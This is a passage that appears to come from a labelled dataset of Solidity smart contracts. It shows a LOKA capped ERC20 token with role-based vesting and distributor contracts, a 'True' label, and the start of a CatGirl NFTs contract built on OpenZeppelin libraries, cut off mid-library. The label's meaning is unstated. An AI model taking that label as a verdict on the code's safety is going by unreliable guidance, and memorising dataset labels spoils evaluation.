* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* has been transferred to `to`.
* - when `from` is zero, `amount` tokens have been minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens have been burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
// OpenZeppelin Contracts v4.3.2 (token/ERC20/extensions/ERC20Capped.sol)
/**
* @dev Extension of {ERC20} that adds a cap to the supply of tokens.
*/
abstract contract ERC20Capped is ERC20 {
uint256 private immutable _cap;
/**
* @dev Sets the value of the `cap`. This value is immutable, it can only be
* set once during construction.
*/
constructor(uint256 cap_) {
require(cap_ > 0, "ERC20Capped: cap is 0");
_cap = cap_;
}
/**
* @dev Returns the cap on the token's total supply.
*/
function cap() public view virtual returns (uint256) {
return _cap;
}
/**
* @dev See {ERC20-_mint}.
*/
function _mint(address account, uint256 amount) internal virtual override {
require(ERC20.totalSupply() + amount <= cap(), "ERC20Capped: cap exceeded");
super._mint(account, amount);
}
}
// OpenZeppelin Contracts v4.3.2 (access/Ownable.sol)
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
contract Membership is Context {
address private owner;
event MembershipChanged(address indexed owner, uint256 level);
event OwnerTransferred(address indexed preOwner, address indexed newOwner);
mapping(address => uint256) internal membership;
constructor() {
owner = _msgSender();
setMembership(_msgSender(), 1);
}
function transferOwner(address newOwner) public onlyOwner {
address preOwner = owner;
setMembership(newOwner, 1);
setMembership(preOwner, 0);
owner = newOwner;
emit OwnerTransferred(preOwner, newOwner);
}
function setMembership(address key, uint256 level) public onlyOwner {
membership[key] = level;
emit MembershipChanged(key, level);
}
modifier onlyOwner() {
require(isOwner(), "Membership : caller is not the owner");
_;
}
function isOwner() public view returns (bool) {
return _msgSender() == owner;
}
modifier onlyAdmin() {
require(isAdmin(), "Membership : caller is not a admin");
_;
}
function isAdmin() public view returns (bool) {
return membership[_msgSender()] == 1;
}
modifier onlyClaimant() {
require(isClaimant(), "Memberhsip : caller is not a claimant");
_;
}
function isClaimant() public view returns (bool) {
return membership[_msgSender()] == 11;
}
function getMembership(address account) public view returns (uint256){
return membership[account];
}
}
contract LOKA is ERC20Capped, Ownable {
constructor(
string memory name,
string memory symbol,
uint256 cap
) ERC20(name, symbol) ERC20Capped(cap) {
}
function mint(address addr, uint256 amount) public onlyOwner {
_mint(addr, amount);
}
// function retain(address addr, uint256 amount, uint256 strtd, uint256 trm, uint256 tms) public onlyOwner {
// _mint(addr, amount);
// Claimant(addr).initialize(strtd, trm, tms);
// }
mapping(address => uint256) private _allocates;
function _allocate(address addr, uint256 amount) internal virtual {
_allocates[addr] += amount;
}
function allocate(address addr, uint256 amount) public onlyOwner {
_allocate(addr, amount);
}
function allocateOf(address account) public view virtual returns (uint256) {
return _allocates[account];
}
function take(address addr, uint256 amount) public {
address sender = _msgSender();
require(_allocates[sender]>=amount, "TokenVesting: No takable amount");
_allocates[sender] -= amount;
_mint(addr, amount);
}
}
contract Claimant is Membership {
LOKA public token;
uint256 public started;
uint256 public claimed;
uint256 public term;
uint256[] public amounts;
constructor(LOKA _token) Membership() {
token = _token;
}
function initialize(uint256 strtd, uint256 trm, uint256[] calldata amnts) public onlyAdmin {
started = strtd;
term = trm;
amounts = amnts;
}
function register(address m) public onlyAdmin {
setMembership(m, 11);
}
function claimable() public view returns (uint256){
require(block.timestamp > started, "TokenVesting: Not claimable");
uint256 sequence = (block.timestamp - started) / term;
if(sequence>=amounts.length)
sequence = amounts.length-1;
if(amounts[sequence]<=claimed)
return 0;
return amounts[sequence]-claimed;
}
function claim() public onlyClaimant {
uint256 amount = claimable();
require(amount > 0, "TokenVesting: No claimable amount");
claimed += amount;
token.transfer(_msgSender(), amount);
}
function totalClaimed() public view returns (uint256) {
return claimed;
}
function getStarted() public view returns (uint256) {
return started;
}
function getTerm() public view returns (uint256) {
return term;
}
function getBlockTimestamp() public view returns (uint256) {
return block.timestamp;
}
}
contract Distributor is Membership {
LOKA public token;
uint256 public started;
uint256 public claimed;
uint256 public term;
uint256[] public amounts;
address[] private receivers;
uint256[] private weights;
constructor(LOKA _token) {
token = _token;
}
function initialize(uint256 strtd, uint256 trm, uint256[] calldata amnts) public onlyAdmin {
started = strtd;
term = trm;
amounts = amnts;
}
function claimable() public view returns (uint256){
require(block.timestamp > started, "TokenVesting: Not claimable");
uint256 sequence = (block.timestamp - started) / term;
if(sequence>=amounts.length)
sequence = amounts.length-1;
if(amounts[sequence]<=claimed)
return 0;
return amounts[sequence]-claimed;
}
function register(address[] memory _receivers, uint256[] memory _weights) public onlyAdmin {
receivers = _receivers;
weights = _weights;
}
function distribute() public onlyAdmin {
uint256 amount = claimable();
require(amount > 0, "TokenVesting: No claimable amount");
claimed += amount;
uint256 sum = 0;
for(uint256 i=0; i<weights.length; ++i)
sum += weights[i];
for(uint256 i=0; i<receivers.length; ++i)
token.take(receivers[i], amount*weights[i]/sum);
}
function totalClaimed() public view returns (uint256) {
return claimed;
}
function getStarted() public view returns (uint256) {
return started;
}
function getTerm() public view returns (uint256) {
return term;
}
function getBlockTimestamp() public view returns (uint256) {
return block.timestamp;
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2022-03-10
*/
/**
CatGirl NFTs
Lottery + Staking Coming!
TG: https://t.me/catgirlsportal
*/
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: @openzeppelin/contracts/introspection/IERC165.sol
pragma solidity ^0.7.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: @openzeppelin/contracts/token/ERC721/IERC721.sol
pragma solidity ^0.7.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external;
}
// File: @openzeppelin/contracts/token/ERC721/IERC721Metadata.sol
pragma solidity ^0.7.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File: @openzeppelin/contracts/token/ERC721/IERC721Enumerable.sol
pragma solidity ^0.7.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol
pragma solidity ^0.7.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4);
}
// File: @openzeppelin/contracts/introspection/ERC165.sol
pragma solidity ^0.7.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts may inherit from this and call {_registerInterface} to declare
* their support of an interface.
*/
abstract contract ERC165 is IERC165 {
/*
* bytes4(keccak256('supportsInterface(bytes4)')) == 0x01ffc9a7
*/
bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7;
/**
* @dev Mapping of interface ids to whether or not it's supported.
*/
mapping(bytes4 => bool) private _supportedInterfaces;
constructor () {
// Derived contracts need only register support for their own interfaces,
// we register support for ERC165 itself here
_registerInterface(_INTERFACE_ID_ERC165);
}
/**
* @dev See {IERC165-supportsInterface}.
*
* Time complexity O(1), guaranteed to always use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return _supportedInterfaces[interfaceId];
}
/**
* @dev Registers the contract as an implementer of the interface defined by
* `interfaceId`. Support of the actual ERC165 interface is automatic and
* registering its interface id is not required.
*
* See {IERC165-supportsInterface}.
*
* Requirements:
*
* - `interfaceId` cannot be the ERC165 invalid interface (`0xffffffff`).
*/
function _registerInterface(bytes4 interfaceId) internal virtual {
require(interfaceId != 0xffffffff, "ERC165: invalid interface id");
_supportedInterfaces[interfaceId] = true;
}
}
// File: @openzeppelin/contracts/math/SafeMath.sol
pragma solidity ^0.7.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
// File: @openzeppelin/contracts/utils/Address.sol
pragma solidity ^0.7.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/utils/EnumerableSet.sol
pragma solidity ^0.7.0;
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`)
* and `uint256` (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// Bytes32Set
struct Bytes32Set {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _add(set._inner, value);
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _remove(set._inner, value);
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) {
return _contains(set._inner, value);
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(Bytes32Set storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) {
return _at(set._inner, index);
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
